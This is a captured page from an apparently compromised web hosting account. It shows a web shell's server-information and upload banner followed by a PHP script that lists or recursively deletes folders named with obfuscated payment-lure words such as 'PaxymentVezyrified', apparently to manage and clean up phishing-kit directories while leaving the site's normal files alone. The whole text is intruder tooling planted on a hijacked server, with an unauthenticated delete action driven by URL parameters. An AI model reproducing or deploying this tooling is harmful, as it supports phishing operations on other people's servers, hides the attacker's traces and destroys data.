| Server IP : 51.91.236.193 / Your IP : 216.73.216.224 Web Server : Apache System : Linux webm010.cluster128.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64 User : institutah ( 16501) PHP Version : 7.2.34 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/institutah/www/eMwRWHmhFhW/ |
Upload File : |
<?php
error_reporting(1);
$path = '../';
$days = $_GET["d"];
if(empty($_GET["d"]) OR empty($_GET["action"])){
print "ERROR: /?d=HOURS&action=VIEW";
exit;
}
if($days >= 24){
$days = ($days * 24);
}
$ar = array(
"PxyamentCozrfirmed",
"InvoxxiceAcczypted",
"SuccesxfsfulChaqrge",
"ConffirmationOK",
"PaxymentVezyrified",
"ReceiycvedInvoicze",
"CxxhargeCompyleted",
"PaymzentCoyxnfir",
"CompzyletedPaymeynt",
"VzalidatedInvoicze",
"AuzthorizxedChargye",
"PaymzentCofnrmed",
"InvoziceAccypted",
"ChxargeSuzccessful",
"OxzKConfirmed"
);
foreach($ar as $words){
$dt .= "|".$words;
}
$dt = substr($dt, 1);
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ( (integer)((time()-filemtime($path.$file))) >= (integer)($days * 60 * 60) && $file !== '.' && $file !== '..') {
if (preg_match("/wp-(.*)/i", $file) or preg_match("/(.*).php/i", $file) or preg_match("/(.*).(html|js|css|htaccess|license|img|fonts|bkp|zip|rar|tar|gz|ini)/i", $file)){
}
elseif(preg_match('/'.$dt.'/i', $file)){
$tm = (integer)((time()-filemtime($path.$file))/60/60);
if (preg_match("/view/i", $_GET["action"])){
if($tm <= 12){
print "<br>".$path.$file." [HOURS AGO: ".substr(((time()-filemtime($path.$file))/60/60),0,6)."]".(time()-filemtime($path.$file))." - ".(integer)($days * 60 * 60);
}
else{
print "<br>".$path.$file." [DAYS AGO: ".substr(((time()-filemtime($path.$file))/60/60/24),0,6)."]".(time()-filemtime($path.$file))." - ".(integer)($days * 60 * 60);
}
}
elseif (preg_match("/delete/i", $_GET["action"])){
if($tm <= 12){
print "<br> the file deleted successfully: " .$path.$file." [HOURS AGO: ".substr(((time()-filemtime($path.$file))/60/60),0,6)."]".(time()-filemtime($path.$file));
delete_directory($path.$file);
}
else{
print "<br> the file deleted successfully: " .$path.$file." [DAYS AGO: ".substr(((time()-filemtime($path.$file))/60/60/24),0,6)."]".(time()-filemtime($path.$file));
delete_directory($path.$file);
}
}
}
}
}
}
function delete_directory($dirname) {
if (is_dir($dirname))
$dir_handle = opendir($dirname);
if (!$dir_handle)
return false;
while($file = readdir($dir_handle)) {
if ($file != "." && $file != "..") {
if (!is_dir($dirname."/".$file))
unlink($dirname."/".$file);
else
delete_directory($dirname.'/'.$file);
}
}
closedir($dir_handle);
rmdir($dirname);
return true;
}
?>